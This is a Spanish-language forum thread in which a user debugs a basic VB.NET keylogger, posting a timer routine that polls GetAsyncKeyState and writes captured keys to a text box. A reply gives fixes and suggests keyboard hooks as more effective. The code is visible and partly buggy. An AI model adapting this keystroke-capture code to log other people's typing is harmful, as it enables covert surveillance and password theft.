problema codigo keylogger

[bitaziko]

hola de nuevo vereis estoy intentando hacer un keylogger basico  pero cuando depuro el programa se detiene...
lo curioso es que le paso el run code analysis y si admito que me saltan 5 warnings...
pero no se si sea motivo para que se detenga....



espero que me podais ayudar...
hay se ve una parte del codigo
por si os vale de ayuda

gracias de antemano....

[Keyen Night]

Anteriormente las APIs se declaraban con Declare en Vb6 pero eso cambio para .Net en pinvoke.net está como se declaran las APIs en .Net, simplemente debes colocar el nombre del API seguido de pinvoke en Google. Ya he visto este error antes el tipo Long en la variable vKey debe ser Object cuando la API está invocada como si fuese Vb6. Cambia la declaración al modo que se debe hacer en .Net y solucionado el problema.

[bitaziko]

Anteriormente las APIs se declaraban con Declare en Vb6 pero eso cambio para .Net en pinvoke.net está como se declaran las APIs en .Net, simplemente debes colocar el nombre del API seguido de pinvoke en Google. Ya he visto este error antes el tipo Long en la variable vKey debe ser Object cuando la API está invocada como si fuese Vb6. Cambia la declaración al modo que se debe hacer en .Net y solucionado el problema.

gracias keyen night
ya lo he  probado y al parecer funciona excepto por que tengo un problema con el timer: no me graba todas las teclas que presiono solo alguna de vez en cuando
he probado con el timer Enable = True y false e intervalo en 1 y 100
pero nada de nada. Coloco el codigo aver si me podeis ayudar
gracias.

Código (vbnet) [Seleccionar] Expandir



Imports System.Runtime.InteropServices
-----------------------------------------------------------------
Public Class Form1

Public Shared Function GetAsyncKeyState(ByVal vKey As System.Windows.Forms.Keys) As Short
 Public Shared Function GetKeyState (ByVal nVirtKey As System.Windows.Forms.Keys) As Short
   Private Const VK_SHIFT = &H10, VK_CAPITAL = &H14
   Private ChangeChr(255) As String
---------------------------------------------------------------------
   Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
       'Letras
       Dim i As Integer
       For i = Asc("A") To Asc("Z")
           If GetAsyncKeyState(i) = -32767 Then
               If GetAsyncKeyState(VK_SHIFT) > 0 Then
                   If GetKeyState(VK_CAPITAL) > 0 Then
                       RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
                       Exit Sub
                   Else
                       RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
                       Exit Sub
                   End If
               Else
                   If GetKeyState(VK_CAPITAL) > 0 Then
                       RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
                       Exit Sub
                   Else
                       RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
                       Exit Sub
                   End If
               End If
           End If
       Next
       'Numeros
       For i = 48 To 57
           If GetAsyncKeyState(i) = -32767 Then
               If GetAsyncKeyState(VK_SHIFT) < 0 Then
                   RichTextBox1.Text = RichTextBox1.Text & ChangeChr(i)
                   Exit Sub
               Else
                   RichTextBox1.Text = RichTextBox1.Text & Chr(i)
                   Exit Sub
               End If
           End If
       Next
       'Espacio
       If GetAsyncKeyState(32) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text + " "
       End If
       'Enter
       If GetAsyncKeyState(13) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & vbCrLf & "[Enter] "
       End If
       'Esc
       If GetAsyncKeyState(27) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Esc] "
       End If
       'Izquierda
       If GetAsyncKeyState(37) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Izq] "
       End If
       'Arriba
       If GetAsyncKeyState(38) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Arriba] "
       End If
       'Derecha
       If GetAsyncKeyState(39) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Der] "
       End If
       'Abajo
       If GetAsyncKeyState(40) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Abajo] "
       End If
       'Print Screen
       If GetAsyncKeyState(44) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Print Screen] "
       End If
       'Re Pag
       If GetAsyncKeyState(33) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Re Pag] "
       End If
       'Av Pag
       If GetAsyncKeyState(34) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Av Pag] "
       End If
       'Fin Pag
       If GetAsyncKeyState(35) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Fin Pag] "
       End If
       'Inicio Pag
       If GetAsyncKeyState(36) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Inicio Pag] "
       End If
       'Supr
       If GetAsyncKeyState(46) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Supr] "
       End If
       'Insert
       If GetAsyncKeyState(45) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Insert] "
       End If
       'F1
       If GetAsyncKeyState(112) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F1] "
       End If
       'F2
       If GetAsyncKeyState(113) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F2] "
       End If
       'F3
       If GetAsyncKeyState(114) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F3] "
       End If
       'F4
       If GetAsyncKeyState(115) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F4] "
       End If
       'F5
       If GetAsyncKeyState(116) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F5] "
       End If
       'F6
       If GetAsyncKeyState(117) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F6] "
       End If
       'F7
       If GetAsyncKeyState(118) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F7] "
       End If
       'F8
       If GetAsyncKeyState(119) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F8] "
       End If
       'F9
       If GetAsyncKeyState(120) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F9] "
       End If
       'F10
       If GetAsyncKeyState(121) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F10] "
       End If
       'F11
       If GetAsyncKeyState(122) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F11] "
       End If
       'F12
       If GetAsyncKeyState(123) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F12] "
       End If
       'Alt
       If GetAsyncKeyState(164) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Alt] "
       End If
       'Num Lock
       If GetAsyncKeyState(144) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Num Lock] "
       End If
       'Bloq mayús
       If GetAsyncKeyState(20) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Bloq Mayús] "
       End If
       'ñ
       If GetAsyncKeyState(164) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & "ñ"
       End If
       'Ñ
       If GetAsyncKeyState(240) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & "Ñ"
       End If
       '"."
       If GetAsyncKeyState(190) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & "."
       End If
       '","
       If GetAsyncKeyState(188) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & ","
       End If
       '"Alt Gr"
       If GetAsyncKeyState(165) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Alt Gr] "
       End If
       '"Del"
       If GetAsyncKeyState(8) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Del] "
       End If
       '"Tab"
       If GetAsyncKeyState(9) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Tab] "
       End If
   End Sub

[Keyen Night]

Bueno hay otras formas de hacer un Keylogger como los Hooks de teclado hay muchos ejemplos aquí en el foro y lo cierto es que son más efectivos que GetAsyncKeyState, si quieres seguir con lo que tienes entonces pon el intervalo del Timer en SystemInformation.KeyboardDelay. No uses tantos If usa Select Case los If te consumen tiempo en el Timer. Toma en cuenta que las teclas se reciben de una a la vez entonces no tiene sentido verificar If, If, If, If porque solo uno de ellos va a dar el resultado después de ese todos los demás estarán perdiendo tiempo valioso.

[bitaziko]

ok lo mirare por el foro pero seguiren tambien con este... nunca viene mal saberlo.
gracias por tu opinion

un saludo!!!